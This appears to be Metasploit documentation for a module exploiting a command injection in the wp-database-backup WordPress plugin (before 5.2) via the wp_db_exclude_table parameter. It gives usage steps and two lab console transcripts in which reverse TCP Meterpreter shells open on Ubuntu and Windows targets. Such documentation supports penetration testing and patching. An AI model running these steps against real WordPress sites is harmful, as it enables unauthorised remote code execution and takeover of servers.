104 lines
4.1 KiB
Markdown
104 lines
4.1 KiB
Markdown
|
## Description
|
||
|
|
|
||
|
|
There exists a command injection vulnerability in the Wordpress plugin `wp-database-backup` for versions < 5.2.
|
||
|
|
|
||
|
|
For the backup functionality, the plugin generates a `mysqldump` command to execute. The user can choose specific
|
||
|
|
tables to exclude from the backup by setting the `wp_db_exclude_table` parameter in a POST request to the
|
||
|
|
`wp-database-backup` page. The names of the excluded tables are included in the `mysqldump` command unsanitized.
|
||
|
|
|
||
|
|
Arbitrary commands injected through the `wp_db_exclude_table` parameter are executed each time the functionality
|
||
|
|
for creating a new database backup are run.
|
||
|
|
|
||
|
|
## Vulnerable Application
|
||
|
|
|
||
|
|
The `wp-database-backup` plugin < `v5.2`. The plugin can be found [here](https://wordpress.org/plugins/wp-database-backup/).
|
||
|
|
Older versions of the software can be found via the `advanced` view on the plugin's main page.
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. Install the application
|
||
|
|
2. Start msfconsole
|
||
|
|
3. Do: ```use exploit/multi/http/wp_db_backup_rce```
|
||
|
|
4. Do: ```set RHOSTS <ip>```
|
||
|
|
5. Do: ```set USERNAME <user>```
|
||
|
|
6. Do: ```set PASSWORD <password>```
|
||
|
|
7. Do: ```run```
|
||
|
|
8. You should get a shell.
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Tested on wp-database-backup v4.6.5 running Wordpress 5.1 on Ubuntu 18.04
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set target 1
|
||
|
|
target => 1
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set rhosts 192.168.37.147
|
||
|
|
rhosts => 192.168.37.147
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set payload linux/x86/meterpreter/reverse_tcp
|
||
|
|
payload => linux/x86/meterpreter/reverse_tcp
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > check
|
||
|
|
|
||
|
|
[*] Version of wp-database-backup detected: 4.6
|
||
|
|
[*] 192.168.37.147:80 - The target appears to be vulnerable.
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||
|
|
[+] Reached the wp-database-backup settings page
|
||
|
|
[+] Successfully added payload as an excluded table
|
||
|
|
[*] Sending stage (985320 bytes) to 192.168.37.147
|
||
|
|
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.147:48398) at 2019-06-25 11:05:27 -0500
|
||
|
|
[+] Successfully created a backup of the database
|
||
|
|
[+] Successfully deleted the database backup
|
||
|
|
[+] Successfully deleted the payload from the excluded tables list
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: uid=33, gid=33, euid=33, egid=33
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : 192.168.37.147
|
||
|
|
OS : Ubuntu 18.04 (Linux 4.18.0-15-generic)
|
||
|
|
Architecture : x64
|
||
|
|
BuildTuple : i486-linux-musl
|
||
|
|
Meterpreter : x86/linux
|
||
|
|
```
|
||
|
|
|
||
|
|
### Tested on wp-database-backup v4.6.5 running Wordpress 5.2 on Windows 10
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/multi/http/wp_db_backup_rce
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set rhosts 192.168.37.144
|
||
|
|
rhosts => 192.168.37.144
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set payload windows/x64/meterpreter/reverse_tcp
|
||
|
|
payload => windows/x64/meterpreter/reverse_tcp
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set username user
|
||
|
|
username => user
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set password password
|
||
|
|
password => password
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > set lhost 192.168.37.1
|
||
|
|
lhost => 192.168.37.1
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > check
|
||
|
|
|
||
|
|
[*] Version of wp-database-backup detected: 4.6
|
||
|
|
[*] 192.168.37.144:80 - The target appears to be vulnerable.
|
||
|
|
msf5 exploit(multi/http/wp_db_backup_rce) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||
|
|
[+] Reached the wp-database-backup settings page
|
||
|
|
[+] Successfully added payload as an excluded table
|
||
|
|
[*] Sending stage (206403 bytes) to 192.168.37.144
|
||
|
|
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.144:49844) at 2019-06-25 11:01:22 -0500
|
||
|
|
[+] Successfully created a backup of the database
|
||
|
|
[+] Successfully deleted the database backup
|
||
|
|
[+] Successfully deleted the payload from the excluded tables list
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: DESKTOP-RTVVNST\Shelby Pace
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : DESKTOP-RTVVNST
|
||
|
|
OS : Windows 10 (Build 16299).
|
||
|
|
Architecture : x64
|
||
|
|
System Language : en_US
|
||
|
|
Domain : WORKGROUP
|
||
|
|
Logged On Users : 2
|
||
|
|
Meterpreter : x64/windows
|
||
|
|
```
|